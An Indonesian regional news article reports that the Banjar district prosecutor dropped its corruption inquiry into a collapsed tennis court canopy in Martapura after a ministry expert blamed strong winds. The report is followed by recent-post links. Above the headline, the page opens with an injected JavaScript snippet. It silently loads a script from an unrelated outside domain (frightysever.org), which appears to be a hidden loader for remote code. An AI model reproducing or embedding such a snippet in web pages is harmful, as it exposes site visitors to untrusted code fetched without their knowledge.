(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kejari Banjar Hentikan Penyelidikan Ambruknya Kanopi Lapangan Tenis Kayu Tangi


MARTAPURA, Kejaksaan Negeri (Kejari) Banjar dikabarkan menghentikan penyelidikan kasus ambruknya atap kanopi lapangan tenis Kayu Tangi, Jl Albasia, Kelurahan Keraton, Kecamatan Martapura Kota, yang terjadi Senin (15/1/2018) silam. Ambruknya bangunan yang sebelumnya diduga ada faktor kegagalan konstruksi yang tak tahan terpaan angin kencang.

Terkait kasus ambruknya kanopi tersebt, Kepala Dinas Pekerjaan Umum Permukiman Rakyat (PUPR)  Kabupaten Banjar M Hilman mengatakan, berdasarkan Undang-Undang nomor 2/2017 tentang jasa konstruksi, penyelenggaraan jasa konstruksi harus memenuhi empat azas yaitu keselamatan, keamanan, keselamatan dan keberlanjutan.

“Berdasarkan amanah sesuai dengan Undang-undang No 2/2017 yaitu tidak berfungsinya bangunan atau terjadinya keruntuhan, untuk menentukan penyebab dari gagalnya sebuah bangunan adalah harus melalui penilai ahli bangunan, berdasarkan UU tersebut harus ditetapkan oleh Mentri Pekerjaan Umum,” jelas Hilman.

Berdasarkan aturan tersebut ada 2 alternatif langkah yang dilakukan oleh Pemkab Banjar. Pertama melaporkan terjadinya gagalnya bangunan tersebut, setelah dilaporkan paling lama 30 hari Menteri PU akan menetapkan penilai ahli, yang akan bertugas menilai kenapa bangunan itu ambruk, siapa yang bertanggung jawab, dan sanksi yang akan diberlakukan seperti apa.

“Sementara adapun kegagalan bangunan bisa disebabkan dalam dua hal, masalah teknis dan berkaitan dengan bencana,” beber Kadis PUPR Banjar.

Setelah itu, dari tim ahli akan menentukan siapa pihak yang bertanggung jawab. Mengingat saat ini masih ada pertanggungjawaban bangunan sampai waktu umur konstruksi yang ditentukan berdasarkan kontrak maksimum 10 tahun. Sebelum masa itu, ada penanggung jawab bisa konsultan perencana, bisa kontraktor pelaksana dan bisa saja pengawas konstruksi

Sementara itu Kejaksaan Negeri (Kejari)  Banjar yang dikabarkan melakukan penyelidikan terhadap proyek pembangunan atap membran lapangan tenis senilai Rp 2,3 milliar tersebut, sebelumnya mengatakan adanya dugaan tindak pidana korupsi dalam pembangunannya.

Namun setahun bergulir, Kejari Banjar kini menghentikan penyelidikan. Ini setelah keluarnya surat keterangan atau rekomendasi dari Tenaga Ahli Kementerian PUPR RI, yang menyatakan proyek pembangunan atap membran lapangan tenis gagal fungsi, dan tidak mampu menahan tekanan angin di atas kemampuan.

“Kondisnya roboh karena ada angin di atas rata-rata. Tim dari Kejaksaan sudah koordinasi dengan PU, prinsipnya PU sudah minta audit dari Kementrian PUPR dan hasilnya sudah turun. Bangunan di lapangan tenis pada saat roboh tidak mampu menahan beban di atas rata-rata. Dianalisa ada angin puting beliung, dan lapangan itu sudah satu tahun digunakan. Kita pakai itu. Kita simpulkan pembangunan lapangan tidak ada dugaan penyimpangan,” terang Kajari Banjar Muji Martopo.

Terkait kondisi di lapangan, secara terpisah Ketua Persatuan Lawn Tennis Indonesia (Pelti) Banjar sekaligus Wakil Bupati Saidi Mansyur, akan berkoordinasi dengan instansi terkait untuk melakukan perbaikan lapangan.

“Itu akan membahayakan. Mungkin nanti kita akan koordinasikan dengan dinas terkait yang membidangi, karena ini bangunan dari tahun 2015 agar dibersihkan supaya tidak terjadi hal – hal yang tidak diinginkan bagi pemain tenis yang akan latihan maupun yang akan melakukan turnamen,”ujar Saidi Mansyur. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

11 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

11 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

12 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

12 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

12 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

12 jam ago

This website uses cookies.